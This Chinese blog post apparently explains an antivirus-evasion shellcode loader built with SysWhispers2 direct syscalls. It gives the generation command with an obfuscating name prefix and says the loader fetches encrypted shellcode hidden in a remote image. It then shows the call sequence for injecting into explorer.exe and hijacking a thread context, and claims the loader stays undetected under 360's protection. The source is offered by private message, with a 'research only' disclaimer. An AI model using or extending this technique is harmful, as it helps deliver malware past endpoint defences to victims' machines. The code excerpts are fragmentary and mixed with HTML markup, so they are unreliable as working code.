0x01
前言本次免杀的研究经历了某次hvv的实战后,决定放出源码供大家进行学习研究。 由于大部分杀软和安全设备是通过在用户模式API 函数中放置钩子,能够将程序中代码的执行流重定向到其引擎并检测可疑行为,然而ntdll.dll中调用系统函数的仅仅只有几个汇编指令,所以如果想规避到杀软检测,只需要自己实现汇编的系统调用即可。 本文是借鉴了著名的开源项目SysWhisper生成的汇编代码来进行免杀shellcode编写的。目前该项目已经升级到了第三个版本,本文中使用的是第二个版本。详情可以参考下面的github链接 https://github.com/jthuraisamy/SysWhispers2
0x02
SysWhisper该工具的主要用途是用来生成系统调用文件,文件中包含了指定的绕过Hook的函数接口。
目前支持生成的函数接口有如下
- NtCreateProcess (CreateProcess)
- NtCreateThreadEx (CreateRemoteThread)
- NtOpenProcess (OpenProcess)
- NtOpenThread (OpenThread)
- NtSuspendProcess
- NtSuspendThread (SuspendThread)
- NtResumeProcess
- NtResumeThread (ResumeThread)
- NtGetContextThread (GetThreadContext)
- NtSetContextThread (SetThreadContext)
- NtClose (CloseHandle)
- NtReadVirtualMemory (ReadProcessMemory)
- NtWriteVirtualMemory (WriteProcessMemory)
- NtAllocateVirtualMemory (VirtualAllocEx)
- NtProtectVirtualMemory (VirtualProtectEx)
- NtFreeVirtualMemory (VirtualFreeEx)
- NtQuerySystemInformation (GetSystemInfo)
- NtQueryDirectoryFile
- NtQueryInformationFile
- NtQueryInformationProcess
- NtQueryInformationThread
- NtCreateSection (CreateFileMapping)
- NtOpenSection
- NtMapViewOfSection
- NtUnmapViewOfSection
- NtAdjustPrivilegesToken (AdjustTokenPrivileges)
- NtDeviceIoControlFile (DeviceIoControl)
- NtQueueApcThread (QueueUserAPC)
- NtWaitForMultipleObjects (WaitForMultipleObjectsEx)
其中括号内的函数代表的是原始系统调用的函数接口名,也就是我们想绕过的函数接口。
下面将用本次实现的一个shellcode举例。
- <section class="code-snippet__fix code-snippet__js"><pre class="code-snippet__js" data-lang="javascript"><code><span class="code-snippet_outer">python3 .\syswhispers.py -f NtOpenProcess,NtSuspendThread,NtGetContextThread,NtSetContextThread,NtResumeThread,NtAllocateVirtualMemory,NtWriteVirtualMemory,NtCreateThreadEx,NtProtectVirtualMemory --<span class="code-snippet__function"><span class="code-snippet__keyword">function</span>-<span class="code-snippet__title">prefix</span> <span class="code-snippet__title">Vegex</span> -<span class="code-snippet__title">o</span> <span class="code-snippet__title">syscalls</span></span></span></code></pre></section><p></p>
复制代码
其中参数—function-prefix 即生成的函数接口名前缀,为了来混淆系统调用名,避免被杀软捕获指纹。-f 参数列出的就是所有需要绕过系统调用的函数接口名。
其中的c文件是实现了系统调用的寻址方法,而asm的汇编代码中是寻址表,头文件即我们调用的所有函数接口声明。
0x03
ShellLoader
加密shellcode 这次项目使用的是分离免杀的方法,至于分离免杀就不作过多赘述了。通过python制作一个携带shellcode的图片,同时将shellcode进行简单的移位加密处理。
本项目实现的shellcode是将远端图片拉取后,进行解密。
然后为了提高隐蔽性,代码中遍历了进程名,并且尝试将shellcode注入名为“explore.exe”的进程中,当然这样的操作存在一点的风险,可能导致目标进程崩溃,但是笔者目前测试下来多个系统未出现该问题,仅win10偶尔出现过一次。
最后便是本次免杀的主角,通过调用SysWhisper生成的接口进行shellcode加载。
- <p class="MsoNormal">首先打开进程<span lang="EN-US"><o:p></o:p></span></p><p class="MsoNormal"><span lang="EN-US">NTSTATUS status =
- VegexOpenProcess(&hProcess, PROCESS_ALL_ACCESS, &oa, &cid);<o:p></o:p></span></p><p class="MsoNormal"><span lang="EN-US">
- <o:p></o:p></span></p><p class="MsoNormal">申请内存<span lang="EN-US"><o:p></o:p></span></p><p class="MsoNormal"><span lang="EN-US">VegexAllocateVirtualMemory(hProcess,
- &remoteAddr, 0, &sDataSize, MEM_COMMIT, PAGE_READWRITE);<o:p></o:p></span></p><p class="MsoNormal"><span lang="EN-US">
- <o:p></o:p></span></p><p class="MsoNormal">将<span lang="EN-US">shellcode</span>写入内存中<span lang="EN-US"><o:p></o:p></span></p><p class="MsoNormal"><span lang="EN-US">VegexWriteVirtualMemory(hProcess,
- remoteAddr, pp, sizeof(pp), NULL);<o:p></o:p></span></p><p class="MsoNormal"><span lang="EN-US">
- <o:p></o:p></span></p><p class="MsoNormal">修改内存可执行<span lang="EN-US"><o:p></o:p></span></p><p class="MsoNormal"><span lang="EN-US">VegexProtectVirtualMemory(hProcess,
- &remoteAddr, &sDataSize, PAGE_EXECUTE_READ, &ulOldProtect);<o:p></o:p></span></p><p class="MsoNormal"><span lang="EN-US">
- <o:p></o:p></span></p><p class="MsoNormal">创建远程线程<span lang="EN-US"><o:p></o:p></span></p><p class="MsoNormal"><span lang="EN-US">HANDLE hThread =
- CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)remoteAddr, NULL,
- 0, NULL);<o:p></o:p></span></p><p class="MsoNormal"><span lang="EN-US">
- <o:p></o:p></span></p><p class="MsoNormal">暂停主线程<span lang="EN-US"><o:p></o:p></span></p><p class="MsoNormal"><span lang="EN-US">VegexSuspendThread(hThread,
- &previousSuspendCount);<o:p></o:p></span></p><p class="MsoNormal"><span lang="EN-US">
- <o:p></o:p></span></p><p class="MsoNormal">获取主线程上下文<span lang="EN-US"><o:p></o:p></span></p><p class="MsoNormal"><span lang="EN-US">VegexGetContextThread(hThread, &ctx);<o:p></o:p></span></p><p class="MsoNormal">修改<span lang="EN-US"> EIP </span>寄存器的值为<span lang="EN-US">
- shellcode </span>的地址<span lang="EN-US"><o:p></o:p></span></p><p class="MsoNormal"><span lang="EN-US">ctx.Rip = (DWORD)remoteAddr;<o:p></o:p></span></p><p class="MsoNormal"><span lang="EN-US">
- <o:p></o:p></span></p><p class="MsoNormal">设置线程上下文<span lang="EN-US"><o:p></o:p></span></p><p class="MsoNormal"><span lang="EN-US">VegexSetContextThread(hThread, &ctx);<o:p></o:p></span></p><p class="MsoNormal"><span lang="EN-US"> <o:p></o:p></span></p><p class="MsoNormal">恢复主线程<span lang="EN-US"><o:p></o:p></span></p><p>
- </p><p class="MsoNormal"><span lang="EN-US">VegexResumeThread(hThread,
- &previousSuspendCount);</span></p>
复制代码
具体编译方法参考github中的说明,这里不再赘述
开启360核晶后,本地测试,无任何反应,完美上线
同时通过Process Explorer进行进程查看,没有发现任何进程痕迹,例如上图注入的explorer.exe 的进程号是6344
下图中没有发现任何痕迹,隐蔽性非常高
0x04
总结
文中的免杀方法较为简单,主要是依赖于SysWhisper的系统调用,未加入例如沙箱检测、关键字混淆等代码,主要是抛砖引玉,师傅们可以在本项目中进行修改添加跟多免杀功能,获得本项目下载地址,请在后台私信“免杀”即可。同时本项目仅供学习研究,请勿用于违法违规的测试或攻击。
|